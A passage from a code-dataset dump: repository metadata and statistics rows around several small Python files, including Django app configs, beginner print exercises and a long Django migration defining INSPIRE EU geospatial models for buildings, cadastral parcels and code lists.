] | null | null | null | views/views.py | nanxiaoshu/coding_dream | d5650cc7c42d3b5ce70117e33a03653a21523da8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding:utf-8 -*-
from coding_dream.html_render import render_html, redirect
from coding_dream.tools import get_request_data, post_request_data, get_request_method, get_cookie
from coding_dream.models import use_sql
def welcome(request):
return render_html('/templates/welcome.html')
| 21.466667 | 98 | 0.78882 | 48 | 322 | 5 | 0.5625 | 0.125 | 0.1875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003509 | 0.114907 | 322 | 14 | 99 | 23 | 0.838596 | 0.127329 | 0 | 0 | 0 | 0 | 0.083942 | 0.083942 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.6 | 0.2 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 4 |
840796ae7db84851f4b8e82238a65f8ee33a887d | 249 | py | Python | curso em video/python/mundo 3/aulas 16-18/ex 087.py | KenzoDezotti/cursoemvideo | 6eba03e67192f7384092192ed2cc1a8e59efd9b9 | [
"MIT"
] | null | null | null | curso em video/python/mundo 3/aulas 16-18/ex 087.py | KenzoDezotti/cursoemvideo | 6eba03e67192f7384092192ed2cc1a8e59efd9b9 | [
"MIT"
] | null | null | null | curso em video/python/mundo 3/aulas 16-18/ex 087.py | KenzoDezotti/cursoemvideo | 6eba03e67192f7384092192ed2cc1a8e59efd9b9 | [
"MIT"
] | null | null | null | lista=[[],[],[]]
for x in range(0,3):
for c in range(0,3):
lista[x].append(str(input(f'digite um numero para a posição{[x]}{[c]}: ')))
for x in range(0,3):
for c in range(0,3):
print(f'[{lista[x][c]:^5}]',end='')
print()
| 27.666667 | 83 | 0.514056 | 47 | 249 | 2.723404 | 0.446809 | 0.21875 | 0.25 | 0.28125 | 0.40625 | 0.40625 | 0.40625 | 0.40625 | 0.40625 | 0.40625 | 0 | 0.046154 | 0.216867 | 249 | 8 | 84 | 31.125 | 0.610256 | 0 | 0 | 0.5 | 0 | 0 | 0.24498 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.25 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
84139c6fee6dda26451929a844b5c369e7d15566 | 26 | py | Python | guild/tests/samples/scripts/hello.py | wheatdog/guildai | 817cf179d0b6910d3d4fca522045a8139aef6c9e | [
"Apache-2.0"
] | 694 | 2018-11-30T01:06:30.000Z | 2022-03-31T14:46:26.000Z | guild/tests/samples/scripts/hello.py | wheatdog/guildai | 817cf179d0b6910d3d4fca522045a8139aef6c9e | [
"Apache-2.0"
] | 323 | 2018-11-05T17:44:34.000Z | 2022-03-31T16:56:41.000Z | guild/tests/samples/scripts/hello.py | wheatdog/guildai | 817cf179d0b6910d3d4fca522045a8139aef6c9e | [
"Apache-2.0"
] | 68 | 2019-04-01T04:24:47.000Z | 2022-02-24T17:22:04.000Z | msg = "hello"
print(msg)
| 6.5 | 13 | 0.615385 | 4 | 26 | 4 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192308 | 26 | 3 | 14 | 8.666667 | 0.761905 | 0 | 0 | 0 | 0 | 0 | 0.192308 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
84338795f5de28731a44fe8b73566c32d91a1b29 | 121 | py | Python | print_square.py | BjornChrisnach/Basics_of_Computing_and_Programming | 45cb99d2b5060b23db20b84384f7b35b72ef8029 | [
"MIT"
] | null | null | null | print_square.py | BjornChrisnach/Basics_of_Computing_and_Programming | 45cb99d2b5060b23db20b84384f7b35b72ef8029 | [
"MIT"
] | null | null | null | print_square.py | BjornChrisnach/Basics_of_Computing_and_Programming | 45cb99d2b5060b23db20b84384f7b35b72ef8029 | [
"MIT"
] | null | null | null | print("Please enter a positive integer: ")
input_num = int(input())
for i in range (input_num):
print(input_num*"*") | 24.2 | 42 | 0.68595 | 19 | 121 | 4.210526 | 0.684211 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157025 | 121 | 5 | 43 | 24.2 | 0.784314 | 0 | 0 | 0 | 0 | 0 | 0.278689 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
843a1a991e02c2c11f253222110292419837e44a | 250 | py | Python | sparta_webapp/apis/apps.py | avitko001c/sparta_webapp | 728225db71d898b29c9408595a58b7297ccab0be | [
"Apache-1.1"
] | null | null | null | sparta_webapp/apis/apps.py | avitko001c/sparta_webapp | 728225db71d898b29c9408595a58b7297ccab0be | [
"Apache-1.1"
] | null | null | null | sparta_webapp/apis/apps.py | avitko001c/sparta_webapp | 728225db71d898b29c9408595a58b7297ccab0be | [
"Apache-1.1"
] | null | null | null | from django.apps import AppConfig
class ApiAppConfig(AppConfig):
name = "sparta_webapp.apis"
verbose_name = "APIS"
def ready(self):
try:
import user.signals # noqa F401
except ImportError:
pass
| 19.230769 | 44 | 0.612 | 27 | 250 | 5.592593 | 0.851852 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017544 | 0.316 | 250 | 12 | 45 | 20.833333 | 0.865497 | 0.036 | 0 | 0 | 0 | 0 | 0.09205 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0.111111 | 0.333333 | 0 | 0.777778 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 4 |
84429ba2e6178b894a1dc4ef3e9a9bd0ee2c4fb5 | 158 | py | Python | sigbox/sigbox.py | ok65/sigbox | eacec88ccdc3929e19d92d54ef3c52dda54e5856 | [
"WTFPL"
] | null | null | null | sigbox/sigbox.py | ok65/sigbox | eacec88ccdc3929e19d92d54ef3c52dda54e5856 | [
"WTFPL"
] | null | null | null | sigbox/sigbox.py | ok65/sigbox | eacec88ccdc3929e19d92d54ef3c52dda54e5856 | [
"WTFPL"
] | null | null | null |
# Library import
from sigbox.global_signal_box import _GSB
class SigBox:
def __init__(self):
pass
def pump(self):
_GSB.pump()
| 9.875 | 41 | 0.626582 | 20 | 158 | 4.55 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.297468 | 158 | 15 | 42 | 10.533333 | 0.81982 | 0.088608 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.166667 | 0.166667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
ffbf0db5e4c007a63ec28f5da257385d0bf6fd87 | 80 | py | Python | wiki/apps.py | noltron000/make-wiki | 1e35c665a636cadcc97ff9975f662ddaf056df8c | [
"MIT"
] | null | null | null | wiki/apps.py | noltron000/make-wiki | 1e35c665a636cadcc97ff9975f662ddaf056df8c | [
"MIT"
] | 5 | 2021-03-19T08:24:54.000Z | 2021-06-10T19:44:27.000Z | wiki/apps.py | noltron000/make-wiki | 1e35c665a636cadcc97ff9975f662ddaf056df8c | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class WikiConfig(AppConfig):
name = 'wiki'
| 13.333333 | 33 | 0.7625 | 10 | 80 | 6.1 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 80 | 5 | 34 | 16 | 0.897059 | 0 | 0 | 0 | 0 | 0 | 0.05 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
ffcd981628c4957213c39eeff99d373afa304844 | 18 | py | Python | tests/__init__.py | Evgenyslavik9/Slavik_quack | 5e8a2b1c7c3bd98425233050983c64ebb8a55113 | [
"Apache-2.0"
] | 1 | 2021-01-29T00:06:24.000Z | 2021-01-29T00:06:24.000Z | tests/__init__.py | gitchirihub76/quack | 5e8a2b1c7c3bd98425233050983c64ebb8a55113 | [
"Apache-2.0"
] | null | null | null | tests/__init__.py | gitchirihub76/quack | 5e8a2b1c7c3bd98425233050983c64ebb8a55113 | [
"Apache-2.0"
] | null | null | null | """Quack Tests"""
| 9 | 17 | 0.555556 | 2 | 18 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 18 | 1 | 18 | 18 | 0.625 | 0.611111 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
ffd8d5487069e5d5187b038e9767d75ac95e7b68 | 122 | py | Python | pytorch_widedeep/preprocessing/__init__.py | FlyingWing/pytorch-widedeep | 91a255d08bc9bdd5a05669465b7cf0313849ec9c | [
"MIT"
] | null | null | null | pytorch_widedeep/preprocessing/__init__.py | FlyingWing/pytorch-widedeep | 91a255d08bc9bdd5a05669465b7cf0313849ec9c | [
"MIT"
] | null | null | null | pytorch_widedeep/preprocessing/__init__.py | FlyingWing/pytorch-widedeep | 91a255d08bc9bdd5a05669465b7cf0313849ec9c | [
"MIT"
] | null | null | null | from ._preprocessors import (
TextPreprocessor,
WidePreprocessor,
DensePreprocessor,
ImagePreprocessor,
)
| 17.428571 | 29 | 0.737705 | 7 | 122 | 12.714286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.204918 | 122 | 6 | 30 | 20.333333 | 0.917526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
ffe88c1a869e7c263d4366d39eaee229a90dbcc9 | 47,882 | py | Python | inspire_eu/migrations/0002_inspire_eu_core.py | xusy2k/django-inspire-eu | 8bdde9022f5f89ae11bc2d25b3f13cfb2ebac94d | [
"MIT"
] | 6 | 2021-02-26T10:35:37.000Z | 2021-07-02T14:28:24.000Z | inspire_eu/migrations/0002_inspire_eu_core.py | xusy2k/django-inspire-eu | 8bdde9022f5f89ae11bc2d25b3f13cfb2ebac94d | [
"MIT"
] | 1 | 2021-03-17T18:04:20.000Z | 2021-03-19T05:17:40.000Z | inspire_eu/migrations/0002_inspire_eu_core.py | xusy2k/django-inspire-eu | 8bdde9022f5f89ae11bc2d25b3f13cfb2ebac94d | [
"MIT"
] | null | null | null | # Generated by Django 2.2.19 on 2021-02-25 12:41
import django.contrib.gis.db.models.fields
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('inspire_eu', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='ApplicationSchema',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(db_index=True, max_length=32)),
('slug', models.CharField(blank=True, db_index=True, max_length=32)),
('link', models.URLField()),
('version', models.SmallIntegerField(blank=True, default=0)),
('label', models.CharField(max_length=128)),
('definition', models.TextField(blank=True)),
('description', models.TextField(blank=True)),
],
options={
'verbose_name': 'Application Schema',
'verbose_name_plural': 'Application Schemes',
'ordering': ['code', 'label'],
},
),
migrations.CreateModel(
name='Building',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('local_id', models.CharField(help_text='A local identifier, assigned by the data provider. The local identifier is unique within the namespace, that is no other spatial object carries the same unique identifier.<br />NOTE It is the responsibility of the data provider to guarantee uniqueness of the local identifier within the namespace.', max_length=32)),
('version_id', models.CharField(blank=True, help_text='The identifier of the particular version of the spatial object, with a maximum length of 25 characters. If the specification of a spatial object type with an external object identifier includes life-cycle information, the version identifier is used to distinguish between the different versions of a spatial object. Within the set of all versions of a spatial object, the version identifier is unique.<br />NOTE The maximum length has been selected to allow for time stamps based on ISO 8601, for example, "2007-02-12T12:12:12+05:30" as the version identifier.<br />NOTE 2 The property is void, if the spatial data set does not distinguish between different versions of the spatial object. It is missing, if the spatial object type does not support any life-cycle information.', max_length=25)),
('begin_lifespan_version', models.DateTimeField(help_text='Registered area value giving quantification of the area projected on the horizontal plane of the cadastral parcel.')),
('end_lifespan_version', models.DateTimeField(blank=True, help_text='Date and time at which this version of the spatial object was superseded or retired in the spatial data set.', null=True)),
('date_of_construction_beginning', models.DateTimeField(blank=True, help_text='Beginning date of construction', null=True)),
('date_of_construction_end', models.DateTimeField(blank=True, help_text='End of date of construction', null=True)),
('date_of_construction_any_point', models.DateTimeField(blank=True, help_text='Any point of date of construction', null=True)),
('date_of_demolition_beginning', models.DateTimeField(blank=True, help_text='Beginning date of demolition', null=True)),
('date_of_demolition_end', models.DateTimeField(blank=True, help_text='End of date of demolition', null=True)),
('date_of_demolition_any_point', models.DateTimeField(blank=True, help_text='Any point of date of demolition', null=True)),
('date_of_renovation_beginning', models.DateTimeField(blank=True, help_text='Beginning date of last major renovation', null=True)),
('date_of_renovation_end', models.DateTimeField(blank=True, help_text='End of date of last major renovation', null=True)),
('date_of_renovation_any_point', models.DateTimeField(blank=True, help_text='Any point of date of last major renovation', null=True)),
('number_of_dwellings', models.SmallIntegerField(blank=True, help_text='A dwelling is a residential unit which may consist of one or several rooms designed for the occupation of households.<br />NOTE: In the data sets including building units, a dwelling is a residential building unit or, only when that building has no building units, a residential building<br />EXAMPLES: a single building dwelling could be a detached or semi-detached house. A block of flats will contain multiple dwellings determined by the number of individual flats.', null=True)),
('number_of_building_units', models.SmallIntegerField(blank=True, help_text='Number of building units in the building. A BuildingUnit is a subdivision of Building with its own lockable access from the outside or from a common area (i.e. not from another BuildingUnit), which is atomic, functionally independent, and may be separately sold, rented out, inherited, etc.<br />Building units are spatial objects aimed at subdividing buildings and/or building parts into smaller parts that are treated as separate entities in daily life. A building unit is homogeneous, regarding management aspects.<br />EXAMPLES: It may be e.g. an apartment in a condominium, a terraced house, or a shop inside a shopping arcade.<br />NOTE 1: According to national regulations, a building unit may be a flat, a cellar, a garage or set of a flat, a cellar and a garage.<br />NOTE 2: According to national regulation, a building that is one entity for daily life (typically, a single family house) may be considered as a Building composed of one BuildingUnit or as a Building composed of zero BuildingUnit.', null=True)),
('number_of_floors_above_ground', models.SmallIntegerField(blank=True, help_text='Number of floors above ground.', null=True)),
('geometry', django.contrib.gis.db.models.fields.MultiPolygonField(blank=True, help_text='2D or 2.5D geometric representation', null=True, srid=4326)),
('reference_geometry', models.BooleanField(help_text='The geometry to be taken into account by view services, for portrayal.<br />NOTE 1: In case of multiple representation by point and by surface, it is generally recommended to provide the surface as reference geometry.<br />NOTE 2: The geometric representation whose referenceGeometry is true may also be used preferably for spatial queries by download services (WFS) or by Geographical Information System (GIS).')),
('horizontal_geometry_estimated_accuracy', models.FloatField(blank=True, help_text='The estimated absolute positional accuracy of the (X,Y) coordinates of the building geometry, in the INSPIRE official Coordinate Reference System. Absolute positional accuracy is defined as the mean value of the positional uncertainties for a set of positions where the positional uncertainties are defined as the distance between a measured position and what is considered as the corresponding true position.<br />NOTE: This mean value may come from quality measures on a homogeneous population of buildings or from an estimation based on the knowledge of the production processes and of their accuracy.')),
('vertical_geometry_estimated_accuracy', models.CharField(blank=True, help_text='Value of estimatedAccuracy shall be given in meters', max_length=1)),
('height_below_ground', models.FloatField(blank=True, null=True)),
('number_of_floors_below_ground', models.SmallIntegerField(blank=True, help_text='Number of floors below ground.', null=True)),
('is_building_part', models.BooleanField(default=False, help_text='Is it a BuildingPart?')),
],
options={
'verbose_name': 'Building',
'verbose_name_plural': 'Buildings',
},
),
migrations.CreateModel(
name='CadastralParcel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('local_id', models.CharField(help_text='A local identifier, assigned by the data provider. The local identifier is unique within the namespace, that is no other spatial object carries the same unique identifier.<br />NOTE It is the responsibility of the data provider to guarantee uniqueness of the local identifier within the namespace.', max_length=32)),
('version_id', models.CharField(blank=True, help_text='The identifier of the particular version of the spatial object, with a maximum length of 25 characters. If the specification of a spatial object type with an external object identifier includes life-cycle information, the version identifier is used to distinguish between the different versions of a spatial object. Within the set of all versions of a spatial object, the version identifier is unique.<br />NOTE The maximum length has been selected to allow for time stamps based on ISO 8601, for example, "2007-02-12T12:12:12+05:30" as the version identifier.<br />NOTE 2 The property is void, if the spatial data set does not distinguish between different versions of the spatial object. It is missing, if the spatial object type does not support any life-cycle information.', max_length=25)),
('begin_lifespan_version', models.DateTimeField(help_text='Registered area value giving quantification of the area projected on the horizontal plane of the cadastral parcel.')),
('end_lifespan_version', models.DateTimeField(blank=True, help_text='Date and time at which this version of the spatial object was superseded or retired in the spatial data set.', null=True)),
('label', models.CharField(blank=True, help_text='Text commonly used to display the cadastral parcel identification.', max_length=32)),
('national_cadastal_reference', models.CharField(db_index=True, help_text='Thematic identifier at national level, generally the full national code of the cadastral parcel. Must ensure the link to the national cadastral register or equivalent.', max_length=32)),
('area_value', models.IntegerField(blank=True, help_text='Registered area value giving quantification of the area projected on the horizontal plane of the cadastral parcel.', null=True)),
('valid_from', models.DateTimeField(blank=True, help_text='Official date and time the cadastral parcel was/will be legally established.', null=True)),
('valid_to', models.DateTimeField(blank=True, help_text='Date and time at which the cadastral parcel legally ceased/will cease to be used.', null=True)),
('geometry', django.contrib.gis.db.models.fields.MultiPolygonField(blank=True, help_text='Geometry of the cadastral parcel.', null=True, srid=4326)),
('reference_point', django.contrib.gis.db.models.fields.PointField(blank=True, help_text='A point within the cadastral parcel. EXAMPLE The centroid of the cadastral parcel geometry.', null=True, srid=4326)),
],
options={
'verbose_name': 'Cadastral Parcel',
'verbose_name_plural': 'Cadastral Parcels',
},
),
migrations.CreateModel(
name='CodeList',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(db_index=True, max_length=64)),
('slug', models.CharField(blank=True, db_index=True, max_length=64)),
('link', models.URLField(blank=True)),
('label', models.CharField(max_length=128)),
('definition', models.TextField(blank=True)),
('description', models.TextField(blank=True)),
('application_schema', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.ApplicationSchema')),
('parent', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.CodeList')),
],
options={
'verbose_name': 'Code list',
'verbose_name_plural': 'Code lists',
'ordering': ['code', 'label'],
},
),
migrations.CreateModel(
name='CodeListValue',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(db_index=True, max_length=96)),
('slug', models.CharField(blank=True, db_index=True, max_length=96)),
('link', models.URLField()),
('label', models.CharField(max_length=200)),
('definition', models.TextField(blank=True)),
('description', models.TextField(blank=True)),
('code_list', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.CodeList')),
],
options={
'verbose_name': 'Code list value',
'verbose_name_plural': 'Code list values',
'ordering': ['code_list__code', 'code', 'label'],
},
),
migrations.CreateModel(
name='Namespace',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(help_text='Namespace', max_length=32)),
('name', models.CharField(blank=True, max_length=64)),
],
options={
'verbose_name': 'Namespace',
'verbose_name_plural': 'Namespaces',
'ordering': ['code', 'name'],
},
),
migrations.CreateModel(
name='Status',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(db_index=True, max_length=32)),
('slug', models.CharField(blank=True, db_index=True, max_length=32)),
('label', models.CharField(max_length=128)),
('definition', models.TextField(blank=True)),
('link', models.URLField()),
('is_valid', models.BooleanField(default=True)),
],
options={
'verbose_name': 'Status',
'verbose_name_plural': 'Status',
'ordering': ['is_valid', 'label'],
},
),
migrations.CreateModel(
name='UnitOfMeasure',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(blank=True, help_text='The name(s) of a particular unit of measure. Examples would include the following: 1) for uomArea - square feet <br />2) for uomTime - seconds <br />3) for uomArea - miles<br />4) uomAngle - degrees.', max_length=32)),
('slug', models.CharField(blank=True, db_index=True, max_length=32)),
('symbol', models.CharField(help_text='The symbol used for this unit of measure, such at "ft" for feet, or "m" for meter.', max_length=8)),
('measure_type', models.CharField(choices=[('', 'Unknown'), ('area', 'Area'), ('length', 'Length'), ('angle', 'Angle'), ('time', 'Time'), ('velocity', 'Velocity'), ('volume', 'Volume'), ('scale', 'Scale'), ('weight', 'Weight')], help_text='Measure Type', max_length=8)),
('name_standard_unit', models.CharField(blank=True, help_text='Name of the standard units to which this unit of measure can be directly converted. If this variable is NULL, then the standard unit for this measure type given by the local copy of the StandardsUnits code list.', max_length=8)),
('scale_to_standard_unit', models.FloatField(blank=True, help_text='If the implementation system used for this object does not support NULL, the scale set to 0 is equivalent to NULL for both scale and offset.<br />If X is the current unit, and S is the standard one the of two variables scale(ToStandardUnit) and offset(ToStandardUnit) can be used to make the conversion from X to S by:<br />S = offset + scale*X <br />and, conversely, <br />X = (S-offset)/scale', null=True)),
('offset_to_standard_unit', models.FloatField(blank=True, help_text='See scaleToStandardUnit for a description. Again, this variable is NULL is no linear conversion is possible. If the two units are only a scale in difference, then this number is zero (0). If the implementation system used for this object does not support NULL, the then scale set to 0 is equivalent to NULL for both scale and offset.', null=True)),
('formula', models.CharField(blank=True, help_text='An algebraic formula (probably in some programming language) converting this unit of measure (represented in the formula by its uomSymbol) to the ISO standard (represented by its symbol. This member attribute is not required, but it is a valuable piece of documentation. ', max_length=32)),
],
options={
'verbose_name': 'Unit Of Measure',
'verbose_name_plural': 'Units Of Measure',
'ordering': ['symbol', 'name'],
},
),
migrations.CreateModel(
name='Theme',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(db_index=True, max_length=32)),
('slug', models.CharField(blank=True, db_index=True, max_length=32)),
('link', models.URLField()),
('version', models.SmallIntegerField(blank=True, default=0)),
('label', models.CharField(max_length=128)),
('definition', models.TextField(blank=True)),
('description', models.TextField(blank=True)),
('status', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Status')),
],
options={
'verbose_name': 'Theme',
'verbose_name_plural': 'Themes',
'ordering': ['code', 'label'],
},
),
migrations.CreateModel(
name='OtherConstruction',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('local_id', models.CharField(help_text='A local identifier, assigned by the data provider. The local identifier is unique within the namespace, that is no other spatial object carries the same unique identifier.<br />NOTE It is the responsibility of the data provider to guarantee uniqueness of the local identifier within the namespace.', max_length=32)),
('version_id', models.CharField(blank=True, help_text='The identifier of the particular version of the spatial object, with a maximum length of 25 characters. If the specification of a spatial object type with an external object identifier includes life-cycle information, the version identifier is used to distinguish between the different versions of a spatial object. Within the set of all versions of a spatial object, the version identifier is unique.<br />NOTE The maximum length has been selected to allow for time stamps based on ISO 8601, for example, "2007-02-12T12:12:12+05:30" as the version identifier.<br />NOTE 2 The property is void, if the spatial data set does not distinguish between different versions of the spatial object. It is missing, if the spatial object type does not support any life-cycle information.', max_length=25)),
('begin_lifespan_version', models.DateTimeField(help_text='Registered area value giving quantification of the area projected on the horizontal plane of the cadastral parcel.')),
('end_lifespan_version', models.DateTimeField(blank=True, help_text='Date and time at which this version of the spatial object was superseded or retired in the spatial data set.', null=True)),
('date_of_construction_beginning', models.DateTimeField(blank=True, help_text='Beginning date of construction', null=True)),
('date_of_construction_end', models.DateTimeField(blank=True, help_text='End of date of construction', null=True)),
('date_of_construction_any_point', models.DateTimeField(blank=True, help_text='Any point of date of construction', null=True)),
('date_of_demolition_beginning', models.DateTimeField(blank=True, help_text='Beginning date of demolition', null=True)),
('date_of_demolition_end', models.DateTimeField(blank=True, help_text='End of date of demolition', null=True)),
('date_of_demolition_any_point', models.DateTimeField(blank=True, help_text='Any point of date of demolition', null=True)),
('date_of_renovation_beginning', models.DateTimeField(blank=True, help_text='Beginning date of last major renovation', null=True)),
('date_of_renovation_end', models.DateTimeField(blank=True, help_text='End of date of last major renovation', null=True)),
('date_of_renovation_any_point', models.DateTimeField(blank=True, help_text='Any point of date of last major renovation', null=True)),
('geometry', django.contrib.gis.db.models.fields.MultiPolygonField(blank=True, help_text='2D or 2.5D geometric representation', null=True, srid=4326)),
('building', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
('cadastral_parcels', models.ManyToManyField(to='inspire_eu.CadastralParcel')),
('condition_of_construction', models.ForeignKey(help_text='Status of the construction.<br />EXAMPLES: functional, projected, ruin', limit_choices_to={'code_list__code': 'ConditionOfConstructionValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_otherconstruction_condition_of_construction', related_query_name='inspire_eu_otherconstruction_condition_of_constructions', to='inspire_eu.CodeListValue')),
('namespace', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_otherconstruction_namespace', related_query_name='inspire_eu_otherconstruction_namespaces', to='inspire_eu.Namespace')),
('other_construction_nature', models.ForeignKey(blank=True, help_text='Characteristic of the building that makes it generally of interest for mappings applications. The characteristic may be related to the physical aspect and/or to the function of the building.<br />This attribute focuses on the physical aspect of the building; however, this physical aspect is often expressed as a function (e.g. stadium, silo, windmill); this attribute aims to fulfil mainly mapping purposes and addresses only specific, noticeable buildings. ', limit_choices_to={'code_list__code': 'OtherConstructionNatureValue'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_otherconstruction_other_construction_nature', related_query_name='inspire_eu_otherconstruction_other_construction_natures', to='inspire_eu.CodeListValue')),
],
options={
'verbose_name': 'Other Construction',
'verbose_name_plural': 'Other Constructions',
},
),
migrations.AddField(
model_name='codelistvalue',
name='status',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Status'),
),
migrations.AddField(
model_name='codelist',
name='status',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Status'),
),
migrations.AddField(
model_name='codelist',
name='themes',
field=models.ManyToManyField(to='inspire_eu.Theme'),
),
migrations.CreateModel(
name='CadastralZoning',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('local_id', models.CharField(help_text='A local identifier, assigned by the data provider. The local identifier is unique within the namespace, that is no other spatial object carries the same unique identifier.<br />NOTE It is the responsibility of the data provider to guarantee uniqueness of the local identifier within the namespace.', max_length=32)),
('version_id', models.CharField(blank=True, help_text='The identifier of the particular version of the spatial object, with a maximum length of 25 characters. If the specification of a spatial object type with an external object identifier includes life-cycle information, the version identifier is used to distinguish between the different versions of a spatial object. Within the set of all versions of a spatial object, the version identifier is unique.<br />NOTE The maximum length has been selected to allow for time stamps based on ISO 8601, for example, "2007-02-12T12:12:12+05:30" as the version identifier.<br />NOTE 2 The property is void, if the spatial data set does not distinguish between different versions of the spatial object. It is missing, if the spatial object type does not support any life-cycle information.', max_length=25)),
